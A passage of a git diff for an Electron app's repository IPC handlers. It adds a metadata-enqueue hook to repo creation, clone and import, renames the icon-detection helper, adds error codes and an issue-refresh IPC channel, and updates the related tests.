@@ -70,7 +70,17 @@ describe('projectGroups IPC validation', () => {
     mockWindow.webContents.send.mockReset()
     resetProjectGroupMocks(reposMocks, { isGitRepo, getGitRepoRoot })
 
-    registerRepoHandlers(mockWindow as never, mockStore as never, {} as never)
+    registerRepoHandlers(
+      mockWindow as never,
+      mockStore as never,
+      // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: These IPC cases use only the metadata owner's enqueue method; other runtime handlers are not invoked.
+      {
+        repositoryForkBackfill: {
+          enqueue: vi.fn().mockResolvedValue(undefined),
+          resolve: vi.fn().mockResolvedValue(true)
+        }
+      } as never
+    )
   })
 
   const group = {
@@ -119,7 +129,11 @@ describe('projectGroups IPC validation', () => {
         mode: 'group'
       })
 
-      expect(result).toMatchObject({ importedCount: 0, failedCount: 1 })
+      expect(result).toMatchObject({
+        importedCount: 0,
+        failedCount: 1,
+        projects: [{ errorCode: 'not_in_scan' }]
+      })
       expect(mockStore.addRepo).not.toHaveBeenCalled()
     })
   })
diff --git a/src/main/ipc/repos.ts b/src/main/ipc/repos.ts
index 68ae1b3aed9..24448a20635 100644
--- a/src/main/ipc/repos.ts
+++ b/src/main/ipc/repos.ts
@@ -66,14 +66,22 @@ export function registerRepoHandlers(
   ipcMain.removeHandler('sparsePresets:remove')
 
   registerRepoCatalogHandlers(mainWindow, store, runtime)
-  registerProjectHostSetupHandlers(mainWindow, store)
-  registerRepoCreationHandlers(mainWindow, store)
+  const metadata = {
+    enqueueRepositoryMetadata: (
+      repos: Parameters<typeof runtime.repositoryForkBackfill.enqueue>[0]
+    ) => void runtime.repositoryForkBackfill.enqueue(repos),
+    resolveRepositoryMetadata: (
+      repo: Parameters<typeof runtime.repositoryForkBackfill.resolve>[0]
+    ) => runtime.repositoryForkBackfill.resolve(repo)
+  }
+  registerProjectHostSetupHandlers(mainWindow, store, metadata)
+  registerRepoCreationHandlers(mainWindow, store, metadata.enqueueRepositoryMetadata)
   registerProjectGroupHandlers(mainWindow, store)
   registerFolderWorkspaceHandlers(mainWindow, store, runtime)
-  registerNestedRepoImportHandler(mainWindow, store)
+  registerNestedRepoImportHandler(mainWindow, store, metadata.enqueueRepositoryMetadata)
   registerRepoUpdateHandler(mainWindow, store)
   registerSparsePresetHandlers(mainWindow, store)
   registerRepoFolderPickerHandlers(mainWindow)
-  registerRepoCloneHandlers(mainWindow, store)
+  registerRepoCloneHandlers(mainWindow, store, metadata.enqueueRepositoryMetadata)
   registerBaseRefQueryHandlers(store)
 }
diff --git a/src/main/ipc/repos/local-repo-registration.test.ts b/src/main/ipc/repos/local-repo-registration.test.ts
index 8cae231ea9d..53b854a0ab4 100644
--- a/src/main/ipc/repos/local-repo-registration.test.ts
+++ b/src/main/ipc/repos/local-repo-registration.test.ts
@@ -7,7 +7,7 @@ import type { Store } from '../../persistence/loading-store/store'
 import { addLocalRepoFromPath } from './local-repo-registration'
 
 vi.mock('../../repository-icons/repo-icon-autodetect', () => ({
-  detectRepoIconAndUpstream: vi.fn().mockResolvedValue({})
+  detectRepoLocalMetadata: vi.fn().mockResolvedValue({})
 }))
 vi.mock('../../workspaces/creation/worktree-root-preparation', () => ({
   prepareLocalWorktreeRootForRepo: vi.fn().mockResolvedValue(undefined)
diff --git a/src/main/ipc/repos/local-repo-registration.ts b/src/main/ipc/repos/local-repo-registration.ts
index 5f447575fd1..53f4c136704 100644
--- a/src/main/ipc/repos/local-repo-registration.ts
+++ b/src/main/ipc/repos/local-repo-registration.ts
@@ -10,7 +10,7 @@ import {
 } from '../../git/repo'
 import { getRepoExecutionHostId, LOCAL_EXECUTION_HOST_ID } from '../../../shared/execution-host'
 import { findProjectAtSameRealPath } from '../../workspaces/catalog/project-realpath-identity'
-import { detectRepoIconAndUpstream } from '../../repository-icons/repo-icon-autodetect'
+import { detectRepoLocalMetadata } from '../../repository-icons/repo-icon-autodetect'
 import { prepareLocalWorktreeRootForRepo } from '../../workspaces/creation/worktree-root-preparation'
 import { describeWslUncAccessDenied } from '../../wsl/filesystem/wsl-unc-access-denied'
 import { createLocalProjectRecord } from '../../workspaces/catalog/local-project-record'
@@ -86,7 +86,7 @@ export async function addLocalRepoFromPath(
     }
   }
 
-  const detected = await detectRepoIconAndUpstream({
+  const detected = await detectRepoLocalMetadata({
     repoPath: resolvedPath,
     kind: repoKind,
     executionHostId: LOCAL_EXECUTION_HOST_ID
diff --git a/src/main/ipc/repos/nested-repo-import-handler.ts b/src/main/ipc/repos/nested-repo-import-handler.ts
index 84dc522b3c2..e2152f68d2e 100644
--- a/src/main/ipc/repos/nested-repo-import-handler.ts
+++ b/src/main/ipc/repos/nested-repo-import-handler.ts
@@ -4,6 +4,7 @@ import { randomUUID } from 'node:crypto'
 import { realpath } from 'node:fs/promises'
 import type { Store } from '../../persistence/loading-store/store'
 import type { Repo } from '../../../shared/repo-types'
+import type { RepositoryMetadataOwner } from '../../workspaces/catalog/imported-folder-project-link'
 import type { ProjectGroupImportResult } from '../../../shared/project-group-types'
 import { DEFAULT_REPO_BADGE_COLOR } from '../../../shared/constants'
 import { normalizeRuntimePathForComparison } from '../../../shared/cross-platform-path'
@@ -15,7 +16,7 @@ import {
 } from '../../project-groups/nested-repo-import'
 import { createNestedRepoImportTargetResolver } from '../../project-groups/nested-repo-import-target'
 import { getRepoExecutionHostId, LOCAL_EXECUTION_HOST_ID } from '../../../shared/execution-host'
-import { detectRepoIconAndUpstream } from '../../repository-icons/repo-icon-autodetect'
+import { detectRepoLocalMetadata } from '../../repository-icons/repo-icon-autodetect'
 import { prepareLocalWorktreeRootForRepo } from '../../workspaces/creation/worktree-root-preparation'
 import { invalidateAuthorizedRootsCache } from '../worktrees/removal/registered-worktree-roots-cache'
 import { emitRepoAdded } from './repo-added-telemetry'
@@ -28,7 +29,11 @@ function sanitizeNestedRepoImportError(context: string, error: unknown): string
   return 'Repository could not be imported'
 }
 
-export function registerNestedRepoImportHandler(mainWindow: BrowserWindow, store: Store): void {
+export function registerNestedRepoImportHandler(
+  mainWindow: BrowserWindow,
+  store: Store,
+  enqueueMetadata: RepositoryMetadataOwner['enqueueRepositoryMetadata']
+): void {
   ipcMain.handle(
     'projectGroups:importNested',
     async (_event, rawArgs: unknown): Promise<ProjectGroupImportResult> => {
@@ -59,17 +64,24 @@ export function registerNestedRepoImportHandler(mainWindow: BrowserWindow, store
         (repoPath) => ({
           path: repoPath,
           status: 'failed',
+          errorCode: 'not_in_scan',
           error: 'Repository was not found in the nested repo scan result'
         })
       )
       const importedProjectIdsByRepoPath = new Map<string, string>()
       const importTargetResolver = createNestedRepoImportTargetResolver()
 
+      const acceptedRepos: Repo[] = []
       for (const [projectGroupOrder, repoPath] of selection.selectedPaths.entries()) {
         try {
           // This process cannot validate SSH paths with local Git.
           if (args.connectionId) {
-            results.push({ path: repoPath, status: 'failed', error: 'Not a valid git repository' })
+            results.push({
+              path: repoPath,
+              status: 'failed',
+              errorCode: 'not_git_repository',
+              error: 'Not a valid git repository'
+            })
             continue
           }
           await awaitWindowsHostGitEnvironmentReady({ cwd: repoPath })
@@ -77,6 +89,7 @@ export function registerNestedRepoImportHandler(mainWindow: BrowserWindow, store
             results.push({
               path: repoPath,
               status: 'failed',
+              errorCode: 'not_git_repository',
               error: 'Not a valid git repository'
             })
             continue
@@ -117,7 +130,7 @@ export function registerNestedRepoImportHandler(mainWindow: BrowserWindow, store
             results.push({ path: repoPath, projectId: existing.id, status: 'already-known' })
             continue
           }
-          const detected = await detectRepoIconAndUpstream({
+          const detected = await detectRepoLocalMetadata({
             repoPath: importRepoPath,
             kind: 'git',
             executionHostId: LOCAL_EXECUTION_HOST_ID
@@ -140,6 +153,7 @@ export function registerNestedRepoImportHandler(mainWindow: BrowserWindow, store
               : {})
           }
           store.addRepo(repo)
+          acceptedRepos.push(repo)
           await prepareLocalWorktreeRootForRepo(store, repo)
           importedProjectIdsByRepoPath.set(normalizedImportRepoPath, repo.id)
           results.push({ path: repoPath, projectId: repo.id, status: 'imported' })
@@ -148,11 +162,13 @@ export function registerNestedRepoImportHandler(mainWindow: BrowserWindow, store
           results.push({
             path: repoPath,
             status: 'failed',
+            errorCode: 'import_failed',
             error: sanitizeNestedRepoImportError('Failed to import nested repository', error)
           })
         }
       }
 
+      enqueueMetadata(acceptedRepos)
       const importedCount = results.filter((entry) => entry.status === 'imported').length
       const alreadyKnownCount = results.filter((entry) => entry.status === 'already-known').length
       const failedCount = results.filter((entry) => entry.status === 'failed').length
diff --git a/src/main/ipc/repos/project-host-setup-handlers.ts b/src/main/ipc/repos/project-host-setup-handlers.ts
index 61f412d26cc..7326003eb2e 100644
--- a/src/main/ipc/repos/project-host-setup-handlers.ts
+++ b/src/main/ipc/repos/project-host-setup-handlers.ts
@@ -13,7 +13,10 @@ import type {
   ProjectHostSetupUpdateResult
 } from '../../../shared/project-types'
 import { getProjectHostSetupForRepo } from '../../../shared/project-host-setup-lookup'
-import { resolveImportedFolderProjectLink } from '../../../shared/imported-folder-project-identity'
+import {
+  linkImportedFolderToProject,
+  type RepositoryMetadataOwner
+} from '../../workspaces/catalog/imported-folder-project-link'
 import { readCurrentGitRemoteIdentity } from '../../workspaces/catalog/repo-git-remote-identity'
 import { getRepoExecutionHostId, parseExecutionHostId } from '../../../shared/execution-host'
 import { prepareLocalWorktreeRootForRepo } from '../../workspaces/creation/worktree-root-preparation'
@@ -45,48 +48,11 @@ function buildProjectHostSetupResult(store: Store, repo: Repo): ProjectHostSetup
   return { project, setup, repo }
 }
 
-function alignRepoWithRequestedProject(
+export function registerProjectHostSetupHandlers(
+  mainWindow: BrowserWindow,
   store: Store,
-  repo: Repo,
-  folderRemote: Pick<Repo, 'gitRemoteIdentity'>,
-  projectId: string,
-  setupMethod: ProjectHostSetupExistingFolderArgs['setupMethod'] = 'imported-existing-folder',
-  requestedProviderIdentity?: ProjectHostSetupExistingFolderArgs['projectProviderIdentity']
-): ProjectHostSetupResult {
-  assertWslMoveHostSetupWritable(store, {
-    projectId,
-    hostId: getRepoExecutionHostId(repo),
-    repoId: repo.id
-  })
-  let setup = getProjectHostSetupForRepo(store.getProjectHostSetups(), repo)
-  if (setup.projectId !== projectId) {
-    const project = store.getProjects().find((entry) => entry.id === projectId)
-    // Project identity must travel with the request when it exists only on the source host.
-    const updated = store.updateRepo(
-      repo,
-      resolveImportedFolderProjectLink(
-        { ...repo, ...folderRemote },
-        projectId,
-        project?.providerIdentity ?? requestedProviderIdentity
-      )
-    )
-    if (!updated) {
-      throw new Error(`Project setup repo disappeared before it could be linked: ${repo.id}`)
-    }
-    repo = updated
-    setup = getProjectHostSetupForRepo(store.getProjectHostSetups(), repo)
-  }
-  const updated = store.updateRepo(repo, { projectHostSetupMethod: setupMethod })
-  if (!updated) {
-    throw new Error(
-      `Project setup repo disappeared before setup metadata could be linked: ${repo.id}`
-    )
-  }
-  repo = updated
-  return buildProjectHostSetupResult(store, repo)
-}
-
-export function registerProjectHostSetupHandlers(mainWindow: BrowserWindow, store: Store): void {
+  metadata: RepositoryMetadataOwner
+): void {
   ipcMain.handle(
     'projectHostSetups:create',
     (_event, rawArgs: ProjectHostSetupCreateArgs): ProjectHostSetupCreateResult => {
@@ -191,20 +157,21 @@ export function registerProjectHostSetupHandlers(mainWindow: BrowserWindow, stor
           : result.repo
       let aligned: ProjectHostSetupResult
       try {
-        aligned = alignRepoWithRequestedProject(
-          store,
+        const repo = await linkImportedFolderToProject(
+          () => store,
           result.repo,
           folderRemote,
-          args.projectId,
-          args.setupMethod,
-          args.projectProviderIdentity
+          { ...args, hostId: getRepoExecutionHostId(result.repo) },
+          metadata
         )
+        aligned = buildProjectHostSetupResult(store, repo)
       } catch (err) {
         // Failed linking must not leave a newly registered repo or authorization root.
         if (!result.alreadyExisted) {
           store.removeProjectForHost(result.repo)
           invalidateAuthorizedRootsCache()
         }
+        notifyReposChanged(mainWindow)
         throw err
       }
       invalidateAuthorizedRootsCache()
diff --git a/src/main/ipc/repos/project-host-setup-wsl-move-fence.test.ts b/src/main/ipc/repos/project-host-setup-wsl-move-fence.test.ts
index a450dcab9d3..98cdb340348 100644
--- a/src/main/ipc/repos/project-host-setup-wsl-move-fence.test.ts
+++ b/src/main/ipc/repos/project-host-setup-wsl-move-fence.test.ts
@@ -83,7 +83,10 @@ describe('project host setups under a WSL move', () => {
     store.addRepo(repo('repo-1'))
     store.addRepo(repo('repo-2'))
     seedWslMoveCutover(testState.dir, cutover('move-1', 'source-fenced'))
-    registerProjectHostSetupHandlers(new BrowserWindow(), store)
+    registerProjectHostSetupHandlers(new BrowserWindow(), store, {
+      enqueueRepositoryMetadata: vi.fn(),
+      resolveRepositoryMetadata: vi.fn().mockResolvedValue(true)
+    })
     const moving = setupFor('repo-1')
 
     await expect(
@@ -107,7 +110,10 @@ describe('project host setups under a WSL move', () => {
   it("keeps a setup's own repo frozen once the WSL host owns it", async () => {
     store.addRepo(repo('repo-1'))
     seedWslMoveCutover(testState.dir, cutover('move-1', 'destination-committed'))
-    registerProjectHostSetupHandlers(new BrowserWindow(), store)
+    registerProjectHostSetupHandlers(new BrowserWindow(), store, {
+      enqueueRepositoryMetadata: vi.fn(),
+      resolveRepositoryMetadata: vi.fn().mockResolvedValue(true)
+    })
     const owned = setupFor('repo-1')
 
     await expect(
@@ -129,6 +135,8 @@ describe('project host setups under a WSL move', () => {
       invalidateResolvedWorktrees: vi.fn(),
       invalidateWorktreeScan: vi.fn(),
       notifyReposChanged: vi.fn(),
+      enqueueRepositoryMetadata: vi.fn(),
+      resolveRepositoryMetadata: vi.fn().mockResolvedValue(true),
       countLiveTerminalsForRepo: () => 0
     })
     const setupId = setupFor('repo-1').id
diff --git a/src/main/ipc/repos/repo-clone-lifecycle.ts b/src/main/ipc/repos/repo-clone-lifecycle.ts
index bd68750b60e..422d3833f68 100644
--- a/src/main/ipc/repos/repo-clone-lifecycle.ts
+++ b/src/main/ipc/repos/repo-clone-lifecycle.ts
@@ -22,14 +22,16 @@ import {
   getSavedProjectPathKeys
 } from '../../git/repo-clone-path'
 import { getRepoExecutionHostId, LOCAL_EXECUTION_HOST_ID } from '../../../shared/execution-host'
-import { detectRepoIconAndUpstream } from '../../repository-icons/repo-icon-autodetect'
+import { detectRepoLocalMetadata } from '../../repository-icons/repo-icon-autodetect'
 import { prepareLocalWorktreeRootForRepo } from '../../workspaces/creation/worktree-root-preparation'
 import { invalidateAuthorizedRootsCache } from '../worktrees/removal/registered-worktree-roots-cache'
 import { emitRepoAdded } from './repo-added-telemetry'
 import { notifyReposChanged } from './repos-changed-notification'
 import { runWithClonePathLock } from './clone-path-lock'
+import { emitCloneProgressFromText } from './repo-clone-progress'
 import { resolveClonedFolderConversion } from '../../workspaces/catalog/folder-repo-git-conversion'
 import { findExtraFolderWorkspaceIds } from '../../workspaces/catalog/folder-workspace-meta-presence'
+import type { RepositoryMetadataOwner } from '../../workspaces/catalog/imported-folder-project-link'
 
 type ActiveCloneMetadata = {
   path: string
@@ -49,18 +51,6 @@ let nextCloneGeneration = 1
 const latestCloneGenerationByPath = new Map<string, number>()
 const pendingAbortCleanupByPath = new Map<string, Promise<void>>()
 
-function emitCloneProgressFromText(mainWindow: BrowserWindow, text: string): void {
-  for (const line of text.split(/[\r\n]+/)) {
-    const match = line.match(/^([\w\s]+):\s+(\d+)%/)
-    if (match && !mainWindow.isDestroyed()) {
-      mainWindow.webContents.send('repos:clone-progress', {
-        phase: match[1].trim(),
-        percent: Number.parseInt(match[2], 10)
-      })
-    }
-  }
-}
-
 async function cleanupOwnedCloneTarget(metadata: ActiveCloneMetadata): Promise<void> {
   if (!metadata.claimedTarget.canCleanup || !metadata.claimedTarget.ownedDirectoryIdentity) {
     return
@@ -102,7 +92,11 @@ function settleCloneAbortCleanup(metadata: ActiveCloneMetadata): void {
   metadata.resolvePendingAbortCleanup = null
 }
 
-export function registerRepoCloneHandlers(mainWindow: BrowserWindow, store: Store): void {
+export function registerRepoCloneHandlers(
+  mainWindow: BrowserWindow,
+  store: Store,
+  enqueueMetadata: RepositoryMetadataOwner['enqueueRepositoryMetadata']
+): void {
   ipcMain.handle('repos:cloneAbort', async () => {
     for (const controller of pendingLocalCloneControllers) {
       controller.abort()
@@ -136,7 +130,7 @@ export function registerRepoCloneHandlers(mainWindow: BrowserWindow, store: Stor
     const clonePathKey = getClonePathComparisonKey(clonePath)
     let savedPathKeys: string[] = []
     const findSaved = (): Repo | undefined => findLocalSaved(savedPathKeys)
-    return runWithClonePathLock(clonePathKey, async () => {
+    const repo = await runWithClonePathLock(clonePathKey, async () => {
       await pendingAbortCleanupByPath.get(clonePathKey)
       // Read after the lock so lookup sees what a queued clone of this path registered.
       savedPathKeys = await getSavedProjectPathKeys(clonePath)
@@ -299,7 +293,7 @@ export function registerRepoCloneHandlers(mainWindow: BrowserWindow, store: Stor
 
         // Register Git's checkout path so the clone stays its own selected checkout.
         const repoPath = (await inspectGitRepoForRegistrationAsync(clonePath)).rootPath
-        const detected = await detectRepoIconAndUpstream({
+        const detected = await detectRepoLocalMetadata({
           repoPath,
           kind: 'git',
           executionHostId: LOCAL_EXECUTION_HOST_ID
@@ -329,5 +323,7 @@ export function registerRepoCloneHandlers(mainWindow: BrowserWindow, store: Stor
         }
       }
     })
+    enqueueMetadata([repo])
+    return repo
   })
 }
diff --git a/src/main/ipc/repos/repo-clone-progress.ts b/src/main/ipc/repos/repo-clone-progress.ts
new file mode 100644
index 00000000000..cce16fbcd9c
--- /dev/null
+++ b/src/main/ipc/repos/repo-clone-progress.ts
@@ -0,0 +1,13 @@
+import type { BrowserWindow } from 'electron'
+
+export function emitCloneProgressFromText(mainWindow: BrowserWindow, text: string): void {
+  for (const line of text.split(/[\r\n]+/)) {
+    const match = line.match(/^([\w\s]+):\s+(\d+)%/)
+    if (match && !mainWindow.isDestroyed()) {
+      mainWindow.webContents.send('repos:clone-progress', {
+        phase: match[1].trim(),
+        percent: Number.parseInt(match[2], 10)
+      })
+    }
+  }
+}
diff --git a/src/main/ipc/repos/repo-creation-handlers.ts b/src/main/ipc/repos/repo-creation-handlers.ts
index 25aed3525a0..d17a56ee3ba 100644
--- a/src/main/ipc/repos/repo-creation-handlers.ts
+++ b/src/main/ipc/repos/repo-creation-handlers.ts
@@ -6,6 +6,7 @@ import { homedir } from 'node:os'
 import { isAbsolute, join } from 'node:path'
 import type { Store } from '../../persistence/loading-store/store'
 import type { Repo } from '../../../shared/repo-types'
+import type { RepositoryMetadataOwner } from '../../workspaces/catalog/imported-folder-project-link'
 import { DEFAULT_REPO_BADGE_COLOR, getDefaultWorkspaceDir } from '../../../shared/constants'
 import { normalizeRuntimePathForComparison } from '../../../shared/cross-platform-path'
 import { getRepoExecutionHostId, LOCAL_EXECUTION_HOST_ID } from '../../../shared/execution-host'
@@ -14,7 +15,7 @@ import { probeGitAvailability } from '../../git/git-availability'
 import { gitExecFileAsync } from '../../git/runner'
 import { inspectGitRepoForRegistrationAsync } from '../../git/repo'
 import { getClonePathComparisonKey, getSavedProjectPathKeys } from '../../git/repo-clone-path'
-import { detectRepoIconAndUpstream } from '../../repository-icons/repo-icon-autodetect'
+import { detectRepoLocalMetadata } from '../../repository-icons/repo-icon-autodetect'
 import { prepareLocalWorktreeRootForRepo } from '../../workspaces/creation/worktree-root-preparation'
 import { invalidateAuthorizedRootsCache } from '../worktrees/removal/registered-worktree-roots-cache'
 import { repoCreateFailure, type RepoCreateFailure } from '../../../shared/repo-create-failure-copy'
@@ -51,7 +52,11 @@ function getDefaultCreateProjectParent(store: Store): string {
   return join(home, 'orca', 'projects')
 }
 
-export function registerRepoCreationHandlers(mainWindow: BrowserWindow, store: Store): void {
+export function registerRepoCreationHandlers(
+  mainWindow: BrowserWindow,
+  store: Store,
+  enqueueMetadata: RepositoryMetadataOwner['enqueueRepositoryMetadata']
+): void {
   ipcMain.handle('repos:isGitAvailable', () => probeLocalGitAvailability())
   ipcMain.handle('repos:getDefaultCreateProjectParent', () => getDefaultCreateProjectParent(store))
 
@@ -70,6 +75,7 @@ export function registerRepoCreationHandlers(mainWindow: BrowserWindow, store: S
       }
       invalidateAuthorizedRootsCache()
       notifyReposChanged(mainWindow)
+      enqueueMetadata([result.repo])
       emitRepoAdded('folder_picker', result.alreadyExisted, result.repo.kind === 'git')
       return { repo: result.repo }
     }
@@ -222,7 +228,7 @@ export function registerRepoCreationHandlers(mainWindow: BrowserWindow, store: S
         repoKind === 'git'
           ? (await inspectGitRepoForRegistrationAsync(targetPath)).rootPath
           : targetPath
-      const detected = await detectRepoIconAndUpstream({
+      const detected = await detectRepoLocalMetadata({
         repoPath,
         kind: repoKind,
         executionHostId: LOCAL_EXECUTION_HOST_ID
@@ -244,6 +250,7 @@ export function registerRepoCreationHandlers(mainWindow: BrowserWindow, store: S
       }
 
       store.addRepo(repo)
+      enqueueMetadata([repo])
       await prepareLocalWorktreeRootForRepo(store, repo)
       invalidateAuthorizedRootsCache()
       notifyReposChanged(mainWindow)
diff --git a/src/main/ipc/runtime-environments/runtime-environment-recipe-vm-wake.test.ts b/src/main/ipc/runtime-environments/runtime-environment-recipe-vm-wake.test.ts
index 6e3c5b7f1bb..365f916716a 100644
--- a/src/main/ipc/runtime-environments/runtime-environment-recipe-vm-wake.test.ts
+++ b/src/main/ipc/runtime-environments/runtime-environment-recipe-vm-wake.test.ts
@@ -1,8 +1,9 @@
 // #36923: a client reaches a recipe VM's workspace through the VM's own server, which is gone
 // while the VM sleeps. Opening the workspace wakes it; any other request leaves it asleep.
-import { mkdtempSync, rmSync } from 'node:fs'
+import { mkdtempSync } from 'node:fs'
 import { tmpdir } from 'node:os'
 import { join } from 'node:path'
+import { removeTempDirs } from '../../../shared/testing/remove-temp-dirs.test-support'
 import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
 import { encodePairingOffer } from '../../../shared/remote-runtime/pairing/pairing'
 import { PAIRING_OFFER_VERSION } from '../../../shared/remote-runtime/pairing/mobile-relay-pairing-offer'
@@ -104,9 +105,9 @@ describe('a request to a recipe VM environment', () => {
     })
   })
 
-  afterEach(() => {
+  afterEach(async () => {
     registerRecipeVmWaker(null)
-    rmSync(userDataPath, { recursive: true, force: true })
+    await removeTempDirs([userDataPath])
   })
 
   it.each(['suspended', 'resume_failed'] as const)(
diff --git a/src/main/ipc/workspace-space/workspace-space-window.ts b/src/main/ipc/workspace-space/workspace-space-window.ts
index cd00a4acf48..1c5443a91be 100644
--- a/src/main/ipc/workspace-space/workspace-space-window.ts
+++ b/src/main/ipc/workspace-space/workspace-space-window.ts
@@ -18,6 +18,7 @@ export function registerWorkspaceSpaceWindowHandlers(store: Store): void {
     'workspaceSpace:requestWindowState',
     'workspaceSpace:revealWorktree',
     'workspaceSpace:requestWorktreeRefresh',
+    'workspaceSpace:requestIssueRefresh',
     'workspaceSpace:publishWindowAnalysis'
   ]) {
     ipcMain.removeHandler(channel)
@@ -72,6 +73,27 @@ export function registerWorkspaceSpaceWindowHandlers(store: Store): void {
       getTrustedUIRendererWebContents()?.send('workspaceSpace:worktreeRefreshRequested')
     }
   })
+  // Why: the main window owns issueCache and publishes it to the Space window; Space asks rather than writing its own copy.
+  ipcMain.handle(
+    'workspaceSpace:requestIssueRefresh',
+    (event, worktreeId: unknown, hostId: unknown): void => {
+      if (!isWorkspaceSpaceWindowRenderer(event.sender) || typeof worktreeId !== 'string') {
+        return
+      }
+      if (hostId !== undefined && typeof hostId !== 'string') {
+        return
+      }
+      const executionHostId = normalizeExecutionHostId(hostId)
+      if (hostId !== undefined && executionHostId === null) {
+        return
+      }
+      getTrustedUIRendererWebContents()?.send(
+        'workspaceSpace:issueRefreshRequested',
+        worktreeId,
+        executionHostId ?? undefined
+      )
+    }
+  )
   ipcMain.handle('workspaceSpace:publishWindowAnalysis', (event, analysis: unknown): void => {
     if (isWorkspaceSpaceWindowRenderer(event.sender) && analysis && typeof analysis === 'object') {
       getTrustedUIRendererWebContents()?.send('workspaceSpace:windowAnalysis', analysis)
diff --git a/src/main/ipc/worktrees/listing/detected-provider-listing-catalog-version.test.ts b/src/main/ipc/worktrees/listing/detected-provider-listing-catalog-version.test.ts
index 3ea51313aa2..4924c45d74a 100644
--- a/src/main/ipc/worktrees/listing/detected-provider-listing-catalog-version.test.ts
+++ b/src/main/ipc/worktrees/listing/detected-provider-listing-catalog-version.test.ts
@@ -28,10 +28,8 @@ vi.mock('./authoritative-local-worktree-metadata-pruning', () => ({
 }))
 
 const { listDetectedWorktreesForCapturedRepo } = await import('./detected-provider-listing')
-const { __resetDetectedWorktreeScanCacheForTests, invalidateDetectedWorktreeScanCache } =
-  await import('./detected-worktree-scan-cache')
-const { getLocalWorktreeCatalogVersion, getLocalWorktreeScanGeneration } =
-  await import('../../../workspaces/catalog/local-worktree-scan-generation')
+const { __resetDetectedWorktreeScanCacheForTests } = await import('./detected-worktree-scan-cache')
+await import('../../../workspaces/catalog/local-worktree-scan-generation')
 
 const localRepo: Repo = {
   id: 'repo-local',
@@ -41,7 +39,7 @@ const localRepo: Repo = {
   addedAt: 0
 }
 
-function createStore(repo: Repo) {
+function createStore(repo: Repo, cursor?: { epoch: string; seq: number }) {
   // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: the listing reads only these store methods; the pruning that would need more is mocked above.
   return {
     getRepo: () => repo,
@@ -55,7 +53,8 @@ function createStore(repo: Repo) {
     getAllWorktreeLineage: () => ({}),
     getAllWorkspaceLineage: () => ({}),
     removeWorktreeLineage: vi.fn(),
-    captureNativeLocalWorktreeMetadataScanExpectation: () => undefined
+    captureNativeLocalWorktreeMetadataScanExpectation: () => undefined,
+    ...(cursor ? { getWorkspaceMetadataCursor: () => ({ ...cursor }) } : {})
   } as never
 }
 
@@ -63,10 +62,6 @@ function worktreeAt(repo: Repo, path: string): GitWorktreeInfo {
   return { path, head: 'abc', branch: 'main', isBare: false, isMainWorktree: path === repo.path }
 }
 
-function listLocal() {
-  return listDetectedWorktreesForCapturedRepo(createStore(localRepo), localRepo, () => true)
-}
-
 // Clients order listing rows by scan-start generation against applied create/remove replies.
 describe('the catalog version a listing carries', () => {
   beforeEach(() => {
@@ -74,36 +69,25 @@ describe('the catalog version a listing carries', () => {
     listRepoWorktreesMock.mockReset()
   })
 
-  it('is the generation the local scan began at, and a change bumps the current one past it', async () => {
-    listRepoWorktreesMock.mockResolvedValue([worktreeAt(localRepo, localRepo.path)])
-    const atScanStart = getLocalWorktreeScanGeneration(localRepo.id)
+  it('carries the metadata cursor it read with its metadata, not one advanced during the scan', async () => {
+    const cursor = { epoch: 'e1', seq: 4 }
+    // A title write lands while the scan is still running.
+    listRepoWorktreesMock.mockImplementation(async () => {
+      cursor.seq = 5
+      return [worktreeAt(localRepo, localRepo.path)]
+    })
+    const store = createStore(localRepo, cursor)
 
-    const listing = await listLocal()
+    const during = await listDetectedWorktreesForCapturedRepo(store, localRepo, () => true)
+    const after = await listDetectedWorktreesForCapturedRepo(store, localRepo, () => true)
 
-    expect(listing).toMatchObject({ authoritative: true })
-    expect(listing && 'catalogVersion' in listing ? listing.catalogVersion : undefined).toEqual(
-      getLocalWorktreeCatalogVersion(localRepo.id)
-    )
-    expect(listing && 'catalogVersion' in listing ? listing.catalogVersion?.sequence : -1).toBe(
-      atScanStart
-    )
-
-    invalidateDetectedWorktreeScanCache(localRepo.id)
-    const afterChange = getLocalWorktreeCatalogVersion(localRepo.id)
-    expect(afterChange.sequence).toBeGreaterThan(atScanStart)
-    expect(afterChange.epoch).toBe(
-      listing && 'catalogVersion' in listing ? listing.catalogVersion?.epoch : undefined
-    )
-  })
-
-  it("is the cached scan's own generation when the cache answers", async () => {
-    listRepoWorktreesMock.mockResolvedValue([worktreeAt(localRepo, localRepo.path)])
-    const first = await listLocal()
-    const second = await listLocal()
-
-    expect(listRepoWorktreesMock).toHaveBeenCalledTimes(1)
-    expect(second && 'catalogVersion' in second ? second.catalogVersion : undefined).toEqual(
-      first && 'catalogVersion' in first ? first.catalogVersion : undefined
-    )
+    expect(during && 'workspaceMetadata' in during ? during.workspaceMetadata : null).toEqual({
+      epoch: 'e1',
+      seq: 4
+    })
+    expect(after && 'workspaceMetadata' in after ? after.workspaceMetadata : null).toEqual({
+      epoch: 'e1',
+      seq: 5
+    })
   })
 })
diff --git a/src/main/ipc/worktrees/listing/detected-provider-listing.ts b/src/main/ipc/worktrees/listing/detected-provider-listing.ts
index 3344d22e1a6..7aa21b9e99a 100644
--- a/src/main/ipc/worktrees/listing/detected-provider-listing.ts
+++ b/src/main/ipc/worktrees/listing/detected-provider-listing.ts
@@ -46,6 +46,13 @@ import {
   wslDistroNotRunningForScanFailure
 } from './wsl-stopped-worktree-listing'
 
+// Partial stores (tests, embedders) may not publish workspace metadata; their listings carry no stamp.
+function readWorkspaceMetadataCursor(store: {
+  getWorkspaceMetadataCursor?: () => { epoch: string; seq: number }
+}): { epoch: string; seq: number } | undefined {
+  return store.getWorkspaceMetadataCursor?.()
+}
+
 export async function listDetectedWorktreesForCapturedRepo(
   store: Store,
   repo: Repo,
@@ -59,6 +66,8 @@ export async function listDetectedWorktreesForCapturedRepo(
       ? ({ providerAbortStatus: providerAbort.status() } as const)
       : undefined
   const allMeta = isFolderRepo(repo) ? undefined : readAllWorktreeMetaForRepo(store, repo)
+  // Read with the metadata, so clients can tell which published metadata records this listing includes.
+  const workspaceMetadata = readWorkspaceMetadataCursor(store)
 
   try {
     // Folder rows are read synchronously, leaving no mutation window that needs a re-scan.
@@ -75,7 +84,8 @@ export async function listDetectedWorktreesForCapturedRepo(
           authoritative: false,
           source: 'metadata-fallback',
           worktrees: [],
-          catalogVersion: getLocalWorktreeCatalogVersion(repo.id)
+          catalogVersion: getLocalWorktreeCatalogVersion(repo.id),
